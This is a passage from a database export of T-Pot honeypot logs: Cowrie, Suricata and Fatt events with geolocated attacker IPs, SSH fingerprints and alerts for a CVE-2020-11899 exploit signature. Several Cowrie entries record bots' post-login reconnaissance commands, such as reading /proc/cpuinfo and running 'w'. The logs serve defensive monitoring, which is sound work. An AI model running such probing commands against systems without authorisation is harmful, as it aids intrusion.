NkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47676, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:54:01.805597Z", "@timestamp": "2021-09-20T11:54:01.805Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".........A...v..Wdvm.....(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
32854	183.17.231.81	109.199.241.180	Fatt	2021-09-20 14:54:01.805597+03	2021-09-20 15:00:04.008722+03	{"_id": "LAYOA3wBvYTbRNuEUk2Q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "183.17.231.81", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 47676, "dest_port": 22, "timestamp": "2021-09-20T11:54:01.805597", "@timestamp": "2021-09-20T11:54:01.805Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32855	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:02.182909+03	2021-09-20 15:00:04.009722+03	{"_id": "LgYOA3wBvYTbRNuEVE0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:02.182909Z", "@timestamp": "2021-09-20T11:54:02.182Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32856	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:02.183456+03	2021-09-20 15:00:04.010722+03	{"_id": "LwYOA3wBvYTbRNuEVE0E", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:02.183456Z", "@timestamp": "2021-09-20T11:54:02.183Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32857	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:02.303568+03	2021-09-20 15:00:04.011722+03	{"_id": "MwYOA3wBvYTbRNuEVE0F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:02.303568Z", "@timestamp": "2021-09-20T11:54:02.303Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32858	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:02.304114+03	2021-09-20 15:00:04.012722+03	{"_id": "NQYOA3wBvYTbRNuEVE0F", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:02.304114Z", "@timestamp": "2021-09-20T11:54:02.304Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32859	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 14:54:02.629872+03	2021-09-20 15:00:04.013722+03	{"_id": "OAYOA3wBvYTbRNuEVU1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:02.629872+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 86}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0001:ffff:040f", "flow_id": 1919618291244144, "payload": "AAAAAP6AAAAAAAAAAIZAPXL/BA8=", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 135, "timestamp": "2021-09-20T11:54:02.629872Z", "@timestamp": "2021-09-20T11:54:02.629Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..............@=r..."}}	1	\N	\N	alert	\N	\N
32866	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.945956+03	2021-09-20 15:00:04.021722+03	{"_id": "RwYOA3wBvYTbRNuEV03v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "which ls", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: which ls", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:03.945956Z", "@timestamp": "2021-09-20T11:54:03.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32860	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:02.668924+03	2021-09-20 15:00:04.015722+03	{"_id": "OgYOA3wBvYTbRNuEVU1v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:02.668924+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 62}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 1, "action": "allowed", "cve_id": "CVE-2020-11899", "category": "Attempted Administrator Privilege Gain", "metadata": {"created_at": ["2020_06_22"], "updated_at": ["2020_08_20"], "former_category": ["EXPLOIT"], "performance_impact": ["Significant"], "signature_severity": ["Major"]}, "severity": 1, "signature": "ET EXPLOIT Possible CVE-2020-11899 Multicast out-of-bound read", "signature_id": 2030387}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0002", "flow_id": 317932644742396, "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 133, "timestamp": "2021-09-20T11:54:02.668924Z", "@timestamp": "2021-09-20T11:54:02.668Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32861	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.469666+03	2021-09-20 15:00:04.016722+03	{"_id": "OwYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:03.469666Z", "@timestamp": "2021-09-20T11:54:03.469Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32862	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.052368+03	2021-09-20 15:00:04.017722+03	{"_id": "QwYOA3wBvYTbRNuEV03v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:03.052368Z", "@timestamp": "2021-09-20T11:54:03.052Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32863	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.94491+03	2021-09-20 15:00:04.018722+03	{"_id": "QQYOA3wBvYTbRNuEV03u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:03.944910Z", "@timestamp": "2021-09-20T11:54:03.944Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32864	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:03.170901+03	2021-09-20 15:00:04.019722+03	{"_id": "RQYOA3wBvYTbRNuEV03v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:03.170901Z", "@timestamp": "2021-09-20T11:54:03.170Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32865	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:03.945454+03	2021-09-20 15:00:04.020723+03	{"_id": "RgYOA3wBvYTbRNuEV03v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:03.945454Z", "@timestamp": "2021-09-20T11:54:03.945Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32867	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:04.026312+03	2021-09-20 15:00:04.023722+03	{"_id": "SAYOA3wBvYTbRNuEV03v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:04.026312Z", "@timestamp": "2021-09-20T11:54:04.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32868	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:04.02684+03	2021-09-20 15:00:04.024742+03	{"_id": "SQYOA3wBvYTbRNuEV03v", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:04.026840Z", "@timestamp": "2021-09-20T11:54:04.026Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
32869	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:54:03.716587+03	2021-09-20 15:00:04.025723+03	{"_id": "SwYOA3wBvYTbRNuEWU1Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.2", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:54:03.716587Z", "@timestamp": "2021-09-20T11:54:03.716Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32870	192.168.20.109	109.199.241.180	Suricata	2021-09-20 14:54:03.717586+03	2021-09-20 15:00:04.026723+03	{"_id": "TAYOA3wBvYTbRNuEWU1Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.109", "stream": 0, "dest_ip": "224.0.0.251", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T11:54:03.717586Z", "@timestamp": "2021-09-20T11:54:03.717Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
32871	fe80:0000:0000:0000:0086:403d:72ff:040f	109.199.241.180	Suricata	2021-09-20 14:54:03.619299+03	2021-09-20 15:00:04.027722+03	{"_id": "TQYOA3wBvYTbRNuEWU1Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:03.619299+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 110}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "fe80:0000:0000:0000:0086:403d:72ff:040f", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 1184755829404451, "payload": "AAAAAgQAAAD/AgAAAAAAAAAAAAL/WdSrBAAAAP8CAAAAAAAA", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T11:54:03.619299Z", "@timestamp": "2021-09-20T11:54:03.619Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ".....................Y.............."}}	1	\N	\N	alert	\N	\N
32872	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:04.408182+03	2021-09-20 15:00:04.028721+03	{"_id": "TwYOA3wBvYTbRNuEW03W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.params", "message": [], "session": "d37f4c901d29", "@version": "1", "timestamp": "2021-09-20T11:54:04.408182Z", "@timestamp": "2021-09-20T11:54:04.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32932	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:53:55.108358+03	2021-09-20 15:00:04.103744+03	{"_id": "zQYOA3wBvYTbRNuENkwr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 14413, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 1837919422883654, "@version": "1", "in_iface": "enp5s0", "src_port": 48689, "dest_port": 53, "timestamp": "2021-09-20T11:53:55.108358Z", "@timestamp": "2021-09-20T11:53:55.108Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
